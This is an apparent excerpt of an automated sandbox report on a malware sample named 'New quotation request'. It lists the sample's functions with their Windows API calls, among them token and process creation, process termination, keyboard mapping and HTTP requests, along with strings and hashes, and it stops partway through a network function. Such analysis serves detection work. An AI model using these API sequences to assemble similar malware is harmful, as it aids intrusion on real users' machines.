                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                                    • String ID:
                                                                    • API String ID: 3008561057-0
                                                                    • Opcode ID: 8a8219d5bf88a2b0bd0d51adf532c55a89e900df30689db30ddcf9ae90717ae0
                                                                    • Instruction ID: 03507fa1f2064fdc6e57f5adff74d034ec2a485f881a0d6e8065c3fc3adba049
                                                                    • Opcode Fuzzy Hash: 8a8219d5bf88a2b0bd0d51adf532c55a89e900df30689db30ddcf9ae90717ae0
                                                                    • Instruction Fuzzy Hash: 1811AC71A02209FFDB16AFA4DC5ABBE7BACEB44311F508028F885D7250CB329944DB60
                                                                    Function 003085B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 003085E2
                                                                    • OpenProcessToken.ADVAPI32(00000000), ref: 003085E9
                                                                    • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 003085F8
                                                                    • CloseHandle.KERNEL32(00000004), ref: 00308603
                                                                    • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00308632
                                                                    • DestroyEnvironmentBlock.USERENV(00000000), ref: 00308646
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                                    • String ID:
                                                                    • API String ID: 1413079979-0
                                                                    • Opcode ID: c76fd024ea6d3a436820d487b41d15b42b258a771981f5c46ba17bb8db54188d
                                                                    • Instruction ID: 8ac137e33515c601986b8ba85fcb26e8daf6b71eb62d6ab76cd87b537e018681
                                                                    • Opcode Fuzzy Hash: c76fd024ea6d3a436820d487b41d15b42b258a771981f5c46ba17bb8db54188d
                                                                    • Instruction Fuzzy Hash: D111597250120DAFDF128FA8DD89BEE7BADEF09344F054065FE44A21A0C7728D64EB60
                                                                    Function 0030B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetDC.USER32(00000000), ref: 0030B7B5
                                                                    • GetDeviceCaps.GDI32(00000000,00000058), ref: 0030B7C6
                                                                    • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0030B7CD
                                                                    • ReleaseDC.USER32(00000000,00000000), ref: 0030B7D5
                                                                    • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0030B7EC
                                                                    • MulDiv.KERNEL32(000009EC,?,?), ref: 0030B7FE
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CapsDevice$Release
                                                                    • String ID:
                                                                    • API String ID: 1035833867-0
                                                                    • Opcode ID: 3f51456fc46096ec9bf733c6aa0f60a46f60dc3ddff0ba51031fc248c8c3454c
                                                                    • Instruction ID: ec3876e4b73005546366d63d597047593f19e4de47bbd477963212def86e14bf
                                                                    • Opcode Fuzzy Hash: 3f51456fc46096ec9bf733c6aa0f60a46f60dc3ddff0ba51031fc248c8c3454c
                                                                    • Instruction Fuzzy Hash: 9F018475E00209BFEB119BA69D85E5EBFBCEF48711F004075FA04A7291D6719C00CF90
                                                                    Function 002D0162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • MapVirtualKeyW.USER32(0000005B,00000000), ref: 002D0193
                                                                    • MapVirtualKeyW.USER32(00000010,00000000), ref: 002D019B
                                                                    • MapVirtualKeyW.USER32(000000A0,00000000), ref: 002D01A6
                                                                    • MapVirtualKeyW.USER32(000000A1,00000000), ref: 002D01B1
                                                                    • MapVirtualKeyW.USER32(00000011,00000000), ref: 002D01B9
                                                                    • MapVirtualKeyW.USER32(00000012,00000000), ref: 002D01C1
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Virtual
                                                                    • String ID:
                                                                    • API String ID: 4278518827-0
                                                                    • Opcode ID: 71ede40d3df374af9632c971876e33cea99e41ef687498bcae6d8ec68f9f67b3
                                                                    • Instruction ID: a6315eb8864654b35de577ebfd4ce20ca1448c971b63b7f90a6177bc75d01760
                                                                    • Opcode Fuzzy Hash: 71ede40d3df374af9632c971876e33cea99e41ef687498bcae6d8ec68f9f67b3
                                                                    • Instruction Fuzzy Hash: 8A0148B09017597DE3008F5A8C85A52FEA8FF19354F00411BA15847941C7B5A864CBE5
                                                                    Function 003153E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 003153F9
                                                                    • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0031540F
                                                                    • GetWindowThreadProcessId.USER32(?,?), ref: 0031541E
                                                                    • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0031542D
                                                                    • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00315437
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0031543E
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                                    • String ID:
                                                                    • API String ID: 839392675-0
                                                                    • Opcode ID: 2162838fd56d738ff6bc1fc89d2829a3ddc8993638a5e55c84c4919b2baebca9
                                                                    • Instruction ID: 8488dd4fd495fae070652d9df58ca1be8e0f37f3a7ebc04857335383a4898967
                                                                    • Opcode Fuzzy Hash: 2162838fd56d738ff6bc1fc89d2829a3ddc8993638a5e55c84c4919b2baebca9
                                                                    • Instruction Fuzzy Hash: 65F09631940558BFD3225B52DC4EEEF7B7CEFC6B11F400169F904D1060D7A01A0186B5
                                                                    Function 00317230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InterlockedExchange.KERNEL32(?,?), ref: 00317243
                                                                    • EnterCriticalSection.KERNEL32(?,?,002C0EE4,?,?), ref: 00317254
                                                                    • TerminateThread.KERNEL32(00000000,000001F6,?,002C0EE4,?,?), ref: 00317261
                                                                    • WaitForSingleObject.KERNEL32(00000000,000003E8,?,002C0EE4,?,?), ref: 0031726E
                                                                      • Part of subcall function 00316C35: CloseHandle.KERNEL32(00000000,?,0031727B,?,002C0EE4,?,?), ref: 00316C3F
                                                                    • InterlockedExchange.KERNEL32(?,000001F6), ref: 00317281
                                                                    • LeaveCriticalSection.KERNEL32(?,?,002C0EE4,?,?), ref: 00317288
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                                    • String ID:
                                                                    • API String ID: 3495660284-0
                                                                    • Opcode ID: 26c472608a67323ba9ee69e9f2c1a6e28428d08fa4b5c581e68aa438cf71009b
                                                                    • Instruction ID: 7f157b945470f04437542dfe659ebb47045fd9f8586ae9a5dc7a4f8d6c615270
                                                                    • Opcode Fuzzy Hash: 26c472608a67323ba9ee69e9f2c1a6e28428d08fa4b5c581e68aa438cf71009b
                                                                    • Instruction Fuzzy Hash: 13F09A3A840202EFD7131B64ED8CDDB373DEF48302F800931F602D00A1CBB61842CA50
                                                                    Function 00308992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0030899D
                                                                    • UnloadUserProfile.USERENV(?,?), ref: 003089A9
                                                                    • CloseHandle.KERNEL32(?), ref: 003089B2
                                                                    • CloseHandle.KERNEL32(?), ref: 003089BA
                                                                    • GetProcessHeap.KERNEL32(00000000,?), ref: 003089C3
                                                                    • HeapFree.KERNEL32(00000000), ref: 003089CA
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                                    • String ID:
                                                                    • API String ID: 146765662-0
                                                                    • Opcode ID: 57ca2ac9fa2cf63637b8139592393aea698cc7e96c4e0038c3c4dcb05c82f609
                                                                    • Instruction ID: c881b7eed59e2d95f9cb6393191d559dd9550973c73a9a5c35fc527288f19e93
                                                                    • Opcode Fuzzy Hash: 57ca2ac9fa2cf63637b8139592393aea698cc7e96c4e0038c3c4dcb05c82f609
                                                                    • Instruction Fuzzy Hash: DCE0C236804001FFDA021FE2EC4CD1ABB6DFB89362F908230F21981070CB329424DB50
                                                                    Function 00307530 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 231COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ProgIDFromCLSID.OLE32(?,00000000,?,00000000,00000800,00000000,?,00342C7C,?), ref: 003076EA
                                                                    • CoTaskMemFree.OLE32(00000000,00000000,?,00000000,00000800,00000000,?,00342C7C,?), ref: 00307702
                                                                    • CLSIDFromProgID.OLE32(?,?,00000000,0033FB80,000000FF,?,00000000,00000800,00000000,?,00342C7C,?), ref: 00307727
                                                                    • _memcmp.LIBCMT ref: 00307748
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: FromProg$FreeTask_memcmp
                                                                    • String ID: ,,4
                                                                    • API String ID: 314563124-3600021901
                                                                    • Opcode ID: e64c7c74fa7a92f149eaf9e2ffb180d047be191a8952bfd8f2e60bb3d737469d
                                                                    • Instruction ID: 7b79845c9d4860f6258e2ad25e7eebdc3fa2aced6ab32a7e83bbd73dbb2d5b0b
                                                                    • Opcode Fuzzy Hash: e64c7c74fa7a92f149eaf9e2ffb180d047be191a8952bfd8f2e60bb3d737469d
                                                                    • Instruction Fuzzy Hash: 53813B75E00109EFCB05DFA4C994EEEB7B9FF89315F204158E506AB290DB71AE06CB60
                                                                    Function 003285ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • VariantInit.OLEAUT32(?), ref: 00328613
                                                                    • CharUpperBuffW.USER32(?,?), ref: 00328722
                                                                    • VariantClear.OLEAUT32(?), ref: 0032889A
                                                                      • Part of subcall function 00317562: VariantInit.OLEAUT32(00000000), ref: 003175A2
                                                                      • Part of subcall function 00317562: VariantCopy.OLEAUT32(00000000,?), ref: 003175AB
                                                                      • Part of subcall function 00317562: VariantClear.OLEAUT32(00000000), ref: 003175B7
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                                    • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                                    • API String ID: 4237274167-1221869570
                                                                    • Opcode ID: 10e8d4645700083dfabd3f402c189916102587ff0097a5b50678f2834f412565
                                                                    • Instruction ID: bab0288926e59581151c83acf6e5e4bd63477a85b72e2047a5d432d8d828ddd3
                                                                    • Opcode Fuzzy Hash: 10e8d4645700083dfabd3f402c189916102587ff0097a5b50678f2834f412565
                                                                    • Instruction Fuzzy Hash: 54919B706083019FC711DF24D48499ABBF8EF89754F14892EF99A8B362DB31ED45CB92
                                                                    Function 00312A96 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002CFC86: _wcscpy.LIBCMT ref: 002CFCA9
                                                                    • _memset.LIBCMT ref: 00312B87
                                                                    • GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00312BB6
                                                                    • SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00312C69
                                                                    • SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00312C97
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ItemMenu$Info$Default_memset_wcscpy
                                                                    • String ID: 0
                                                                    • API String ID: 4152858687-4108050209
                                                                    • Opcode ID: f7ba577da31bbb3da7e73dcbf48907b88e1c9694f590164baafefb52e4a7c464
                                                                    • Instruction ID: 8c538cba2058f96ac648979b9c380e64d8b72ac41dbcec5f3c7bdab5321443de
                                                                    • Opcode Fuzzy Hash: f7ba577da31bbb3da7e73dcbf48907b88e1c9694f590164baafefb52e4a7c464
                                                                    • Instruction Fuzzy Hash: 4951D1716083009FD72E9F28D845AAF77E8EF9D350F054A2DF995D6290DB70CCA48B92
                                                                    Function 002C3137 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 161COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memmove$_free
                                                                    • String ID: 3c,$_,
                                                                    • API String ID: 2620147621-370742736
                                                                    • Opcode ID: 00701638f64bf1ebc878f514483011f8e9495971e40a485c431115cf7734f53d
                                                                    • Instruction ID: e23bf2b0b44317ec8017dcdbea61b9e462a82093ce5c140ca885e19f97638b40
                                                                    • Opcode Fuzzy Hash: 00701638f64bf1ebc878f514483011f8e9495971e40a485c431115cf7734f53d
                                                                    • Instruction Fuzzy Hash: 79514B716247428FDB29CF28C490B6ABBE5FF85314F04892DE98987361D731E911CB82
                                                                    Function 002C6192 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 141COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: _memset$_memmove
                                                                    • String ID: 3c,$ERCP
                                                                    • API String ID: 2532777613-3822882533
                                                                    • Opcode ID: 307609f4eeb8e04359158fff407d1de0839ca0598e1d8489083c096ec0b52fb5
                                                                    • Instruction ID: 5ff8e1245f0cefaeddd84829c7de30249a4a3d02253705643149da7ee7d522b2
                                                                    • Opcode Fuzzy Hash: 307609f4eeb8e04359158fff407d1de0839ca0598e1d8489083c096ec0b52fb5
                                                                    • Instruction Fuzzy Hash: 0851B170910306DFDB25CF55C985BAAB7F8EF04304F20866EE84AC7291E771EA54CB51
                                                                    Function 00312753 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _memset.LIBCMT ref: 003127C0
                                                                    • GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 003127DC
                                                                    • DeleteMenu.USER32(?,00000007,00000000), ref: 00312822
                                                                    • DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00375890,00000000), ref: 0031286B
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Menu$Delete$InfoItem_memset
                                                                    • String ID: 0
                                                                    • API String ID: 1173514356-4108050209
                                                                    • Opcode ID: 09edbecdcb66626b6f318400882d0d693d30cf2f516a2b089c08bb23b54960b3
                                                                    • Instruction ID: 7b07f347dcd903dd0fe481981feef16e31c627938006a7501398832571f12c7c
                                                                    • Opcode Fuzzy Hash: 09edbecdcb66626b6f318400882d0d693d30cf2f516a2b089c08bb23b54960b3
                                                                    • Instruction Fuzzy Hash: 1441CF702043019FDB2ADF25C884B9BBBE8EF89310F05492DF8A59B2D1D730E865CB52
                                                                    Function 0032D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0032D7C5
                                                                      • Part of subcall function 002B784B: _memmove.LIBCMT ref: 002B7899
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: BuffCharLower_memmove
                                                                    • String ID: cdecl$none$stdcall$winapi
                                                                    • API String ID: 3425801089-567219261
                                                                    • Opcode ID: 1cee99ced3403d62053faebe6179757e03606c3b339664b759c67cdf4cfa1839
                                                                    • Instruction ID: ad06b2575e9822e003161075b745b44fae75c5aacc96a17ed1da72f711ab365e
                                                                    • Opcode Fuzzy Hash: 1cee99ced3403d62053faebe6179757e03606c3b339664b759c67cdf4cfa1839
                                                                    • Instruction Fuzzy Hash: 24318371914629ABCF01EF54C8919EEB3B5FF04320F10862AE865977D5DB71AD15CF80
                                                                    Function 00308E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                      • Part of subcall function 0030AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0030AABC
                                                                    • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00308F14
                                                                    • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00308F27
                                                                    • SendMessageW.USER32(?,00000189,?,00000000), ref: 00308F57
                                                                      • Part of subcall function 002B7BCC: _memmove.LIBCMT ref: 002B7C06
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$_memmove$ClassName
                                                                    • String ID: ComboBox$ListBox
                                                                    • API String ID: 365058703-1403004172
                                                                    • Opcode ID: 469212bf3d9439f4887b7ab38af9caf66fd83890c2978c9c2c8af07cb2da9935
                                                                    • Instruction ID: 7ef4c9ef452cac87f20e01af0cd25c5e279b09fa0ae72e91d810c8130041c96e
                                                                    • Opcode Fuzzy Hash: 469212bf3d9439f4887b7ab38af9caf66fd83890c2978c9c2c8af07cb2da9935
                                                                    • Instruction Fuzzy Hash: 16212071A05105BFDB16ABB0DC96DFFB769DF453A0F048529F461972E0CB384C1A9A10
                                                                    Function 0032182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 0032184C
                                                                    • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00321872
                                                                    • HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 003218A2
